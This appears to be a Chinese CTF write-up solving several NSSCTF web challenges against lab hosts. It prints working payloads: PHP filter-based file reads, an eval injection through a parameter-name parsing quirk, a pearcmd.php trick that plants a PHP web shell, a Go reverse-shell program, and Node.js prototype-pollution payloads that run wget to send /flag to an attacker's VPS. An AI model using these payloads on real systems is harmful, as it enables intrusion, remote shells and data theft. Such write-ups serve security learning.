上来什么也没有,用php伪协议读取index.php中的内容,构造payload:
http://node2.anna.nssctf.cn:28803/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到源码:
error_reporting(0);
if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}
说明我们要传入一个名为N_S.S
的变量进行命令执行或者利用file
变量进行文件包含
file
变量过滤了大部分伪协议,所以要利用N_S.S
构造payload:
这里涉及到PHP非法传参:
根据php解析特性,如果字符串中存在
[、.
等符号,php会将其转换为_
且只转换一次,因此我们直接构造nss_ctfer.vip
的话,最后php执行的是nss_ctfer_vip
,因此我们将前面的_
用[
代替当
PHP版本小于8
时,如果参数中出现中括号[
,中括号会被转换成下划线_
,但是会出现转换错误导致接下来如果该参数名中还有非法字符
并不会继续转换成下划线_
,也就是说如果中括号[
出现在前面,那么中括号[
还是会被转换成下划线_
,但是因为出错导致接下来的非法字符并不会被转换成下划线_
http://node2.anna.nssctf.cn:28803/index.php?N[S.S=system('ls /');
看了看根目录,没有啥东西,看一下phpinfo
http://node2.anna.nssctf.cn:28803/index.php?N[S.S=phpinfo();
得到flag
一开始打算用data协议,或者filter协议进行内容读取,但是好像都被ban掉了,上网查了查资料,要利用对pearcmd.php
文件进行调用,然后利用pear命令,构造payload:
?file=?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=@eval($_POST['Leaf']);?>+/tmp/shell.php
传入成功,现在/tmp目录下就有个shell.php
文件,里面的内容是=@eval($_POST['Leaf']);?>
,利用我们的一句话木马读取flag
扫描当前目录可以看到有/flag.php
读取获得flag,
这里面的system(“cat flag.php”)需要用双引号,用单引号无法显示flag
看phpinfo也可以
go语言文件上传,他说没有过滤,暂且信他一手,上网查了一下go文件上传
并且这道题在上传后会执行go
加上文件名.
之前的字符串的命令,并且是对你上传的文件进行执行的
上传文件名为
shell.go
,那么就会执行go run shell.go
,这样会执行go里的代码
以下是通过go文件上传来进行反弹shell的代码:
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i &> /ip/port 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
因为没有过滤,所以上传成功之后会直接运行,反弹shell成功
这只有一半,另一半在/home/galf
base64解码得到flag
说真的,现学原型链污染做这道题,并且没有js基础,感觉啃得好费劲。
文件有附件,打开server.js
附件可以得到源码
const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");
const PORT = process.env.port || 3000
const app = express();
global = "global"
app.listen(PORT, () => {
console.log(`listen at ${PORT}`);
});
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());
app.use(express.static("./public"));
app.post("/upload", (req, res) => {
try{
let oldName = req.files[0].path;
let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;
fs.renameSync(oldName, newName);
res.send({
err: 0,
url:
"./upload/" +
req.files[0].filename +
path.parse(req.files[0].originalname).ext
});
}
catch(error){
res.send(require('./err.js').getRandomErr())
}
});
app.post('/pollution', require('body-parser').json(), (req, res) => {
let data = {};
try{
merge(data, req.body);
res.send('Register successfully!tql')
require('./err.js').getRandomErr()
}
catch(error){
res.send(require('./err.js').getRandomErr())
}
})
代码解析:
- 定义常量:使用
const
关键字定义了一个常量PORT
,表示服务器监听的端口号。如果环境变量中存在port
,则使用该值作为端口号,否则默认使用3000
。- 创建 Express 应用程序:通过调用
express()
函数创建一个 Express 应用程序实例,并将其赋值给app
变量。- 全局变量:通过将字符串 “global” 赋值给全局变量
global
。- 启动应用程序:通过调用
app.listen()
方法指定应用程序监听的端口,并在控制台打印相应的消息。- 定义文件上传中间件:通过调用
multer()
函数创建一个 multer 实例,并将其赋值给objMulter
变量。将上传的文件保存到目录 “./upload”。- 使用中间件:通过调用
app.use()
方法使用中间件。这里使用了两个中间件:
objMulter.any()
:用于处理文件上传请求。express.static()
:用于提供静态文件服务。将目录 “./public” 映射为静态文件根目录。
- 处理文件上传请求:通过调用
app.post()
方法定义了处理文件上传的路由。当收到 “/upload” 路径的 POST 请求时,获取上传文件的信息,修改文件名并保存到指定目录,然后返回相应的数据给客户端。- 处理污染请求:通过调用
app.post()
方法定义了处理污染请求的路由。当收到 “/pollution” 路径的 POST 请求时,将请求体中的数据合并到一个对象中,并返回相应的数据给客户端。总之,该应用程序使用 Express 框架创建了一个服务器,监听指定的端口,处理文件上传请求和污染请求,并提供静态文件服务。
err.js
obj={
errDict: [
'发生肾么事了!!!发生肾么事了!!!',
'随意污染靶机会寄的,建议先本地测',
'李在干神魔',
'真寄了就重开把',
],
getRandomErr:() => {
return obj.errDict[Math.floor(Math.random() * 4)]
}
}
module.exports = obj
只有一个merge函数里可以进行原型链污染,而且从很多方面都可以看出来这个是原型链污染
具体污染的地方是https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
然后进入readPackageScope()
function readPackageScope(checkPath) {
const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep);
let separatorIndex;
do {
separatorIndex = StringPrototypeLastIndexOf(checkPath, sep);
checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex);
if (StringPrototypeEndsWith(checkPath, sep + 'node_modules'))
return false;
const pjson = readPackage(checkPath + sep);
if (pjson) return {
data: pjson,
path: checkPath,
};
} while (separatorIndex > rootSeparatorIndex);
return false;
}
该函数的作用是从指定的路径
checkPath
开始,逐级向上查找package.json
文件,直到根目录或者遇到node_modules
目录为止。如果找到了package.json
文件,则返回一个包含package.json
内容和路径信息的对象;否则返回false
。代码解释如下:
- 获取根目录的分隔符索引:使用
String.prototype.indexOf()
函数在checkPath
字符串中查找根目录分隔符的索引,并将结果赋值给rootSeparatorIndex
变量。- 进入循环:进入一个循环,条件为
do { ... } while (separatorIndex > rootSeparatorIndex)
,即在separatorIndex
大于根目录分隔符索引时继续循环。- 获取分隔符索引:使用
String.prototype.lastIndexOf()
函数在checkPath
字符串中查找最后一个分隔符的索引,并将结果赋值给separatorIndex
变量。- 更新
checkPath
:使用String.prototype.slice()
函数从checkPath
字符串的开头截取到separatorIndex
索引位置,将截取后的结果重新赋值给checkPath
变量。- 检查是否进入
node_modules
目录:使用String.prototype.endsWith()
函数判断checkPath
是否以分隔符加上'node_modules'
结尾。如果是,表示已经进入node_modules
目录,函数返回false
。- 读取
package.json
:调用readPackage()
函数读取checkPath
加上分隔符的路径下的package.json
文件。如果成功读取到package.json
文件,则返回一个包含package.json
内容和路径信息的对象,格式为{ data: pjson, path: checkPath }
。- 更新循环条件:判断
separatorIndex
是否大于根目录分隔符索引,如果是,则继续循环。否则,跳出循环。- 返回结果:如果在循环中找到了
package.json
文件,则返回包含package.json
内容和路径信息的对象;否则返回false
。
函数会逐级检查 node_modules
的存在,如果到了最后一级为目录为 node_modules
会直接返回 false
。而如果不存在题目环境下没有 pakcgae.json
,会导致 readPackageScope()
返回 false
并使 {data: pkg, path: pkgPath}
保留为空对象,导致了原型链污染漏洞存在。
继续追踪对象{ data: pkg, path: pkgPath }
,找到 resolvePackageTarget
。
resolvePackageTarget
的第一个判断函数:
在执行代码的时候,进入到readPackage
函数
function readPackage(requestPath) {
const jsonPath = path.resolve(requestPath, 'package.json');
const existing = packageJsonCache.get(jsonPath);
if (existing !== undefined) return existing;
const result = packageJsonReader.read(jsonPath);
const json = result.containsKeys === false ? '{}' : result.string;
if (json === undefined) {
packageJsonCache.set(jsonPath, false);
return false;
}
try {
const filtered = filterOwnProperties(JSONParse(json), [
'name',
'main',
'exports',
'imports',
'type',
]);
packageJsonCache.set(jsonPath, filtered);
return filtered;
} catch (e) {
e.path = jsonPath;
e.message = 'Error parsing ' + jsonPath + ': ' + e.message;
throw e;
}
}
他会对当前require请求文件所在的目录中区找package.json文件并进行json解析,如果没有就返回fasle
所以const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {}
对pkg赋值的肯定是后面的{}
的值
而这里就可以对pkg和pkgPath的值进行污染
总结来说,在require非原生库的过程中,最终会去调用PkgPath
和pkg.exports
拼接起来的字符串所指定的文件
根据出题人的本意是让我们上传一个包,然后去加载那个包require得到的是module.exports的内容,所以先上传一个js文件好像是没有curl这个命令,所以这里要用wget
先上传一个文件,内容如下:
obj={
getRandomErr:() => {
require('child_process').execSync('wget http://vpsip:vpsport/`cat /flag`')
}
}
module.exports=obj
在这段代码中,
obj
是一个对象,它具有一个属性getRandomErr
,该属性是一个箭头函数。箭头函数的目的是在调用getRandomErr
时执行一些操作。在
getRandomErr
函数中,使用了Node.js内置的child_process
模块的execSync
方法。execSync
方法用于执行命令行命令,并返回其输出。在这里,命令是cat /flag
,它尝试读取名为/flag
的文件的内容。
然后我们上传该js文件,上传成功后显示如下,文件名改成了dadd1477b87358522decef501ec751a4.js
,文件路径是./upload
给/pollution路由传数据,,将exports
的数据改成修改后的文件名然后进行原型链污染
{
"__proto__": {
"data": {
"name": "./err.js",
"exports": "./dadd1477b87358522decef501ec751a4.js"
},
"path": "/app/upload"
}
}
第二种方法,payload直接打
{
"__proto__": {
"data": {
"name": "./err.js",
"exports": "./preinstall.js"
},
"path": "/opt/yarn-v1.22.19",
"npm_config_global": 1,
"npm_execpath": "--eval=require('child_process').execFile('sh',['-c','wget\thttp://vpsip:vpsport/`cat /flag`'])"
},
"a": null
}
不知道原因,只有在靶机没有进行任何操作的情况下,才可以得到flag,只要出现"李在干什么"
等字样说明这个靶机就寄了,重打吧
以下是参考的各位师傅的文章: